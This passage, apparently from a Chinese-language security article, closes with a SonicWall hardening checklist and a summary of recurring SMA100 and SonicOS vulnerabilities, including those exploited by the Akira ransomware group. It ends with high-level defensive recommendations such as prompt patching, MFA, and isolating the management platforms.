[ ] 已启用 Syslog 远程日志收集
[ ] 已配置 SIEM 规则检测缓冲区溢出/路径穿越/认证绕过
[ ] GMS/NSM 管理平台已网络隔离
[ ] GMS 数据库凭据已加密存储
[ ] GMS 策略推送已配置双审批流程
[ ] NSM API 令牌已定期轮换
[ ] 已建立 SonicWall 应急响应预案
[ ] 已订阅 SonicWall PSIRT 安全公告通知
[ ] 已实施网络分段策略
[ ] SSL-VPN 设备置于独立网段
[ ] 已配置速率限制(防止暴力破解和溢出扫描)
[ ] 已启用设备健康监控(CPU/内存/重启事件)

0x0C 总结

SonicWall 的安全问题核心在于"边界设备的高价值目标属性"与"遗留代码库的系统性缺陷":

  1. SMA100 代码库的根本性缺陷: 从 CVE-2021-20016 到 CVE-2024-53771,SMA100 SSL-VPN 的输入处理代码反复出现缓冲区溢出和认证绕过漏洞,每次修复仅解决表面问题,底层架构的安全缺陷持续存在
  2. SonicOS 的 2024 年危机: CVE-2024-40766 被 Akira 勒索组织大规模利用,加上 CVE-2024-2219/40767 堆溢出,2024 年成为 SonicOS 的"漏洞爆发年",多个 CVSS 9.8 漏洞同时存在
  3. GMS/NSM 的供应链级风险: 集中管理平台存储所有受管设备的凭据和配置,攻破 GMS 等于一次性控制整个 SonicWall 设备集群——这是比单台设备被攻破更严重的供应链级威胁
  4. MSP 生态的放大效应: SonicWall 在 MSP 市场的高占有率意味着单个漏洞可能影响数千家企业,GMS 的多租户架构进一步放大了攻击影响面

防守方核心策略:

  • 立即升级固件: SonicWall 设备必须在 PSIRT 公告发布后第一时间更新,CVE-2024-40766 的教训是补丁延迟 = Akira 勒索
  • 限制公网暴露: SSL-VPN 绝对不直接暴露于互联网,使用 IP 白名单 + Geo-IP 过滤
  • MFA 强制: 所有 VPN 用户和管理访问必须启用双因素认证
  • GMS/NSM 隔离: 管理平台绝对不暴露于互联网,策略推送配置双审批
  • 外部日志收集: 所有 SonicWall 日志实时转发到独立 SIEM,设备本地日志不可信
  • 持续监控: 配置缓冲区溢出、路径穿越、认证绕过、异常 API 访问的检测规则
  • 评估替代方案: SMA100 系列连续暴露同类漏洞,考虑迁移到新一代 SSL-VPN 解决方案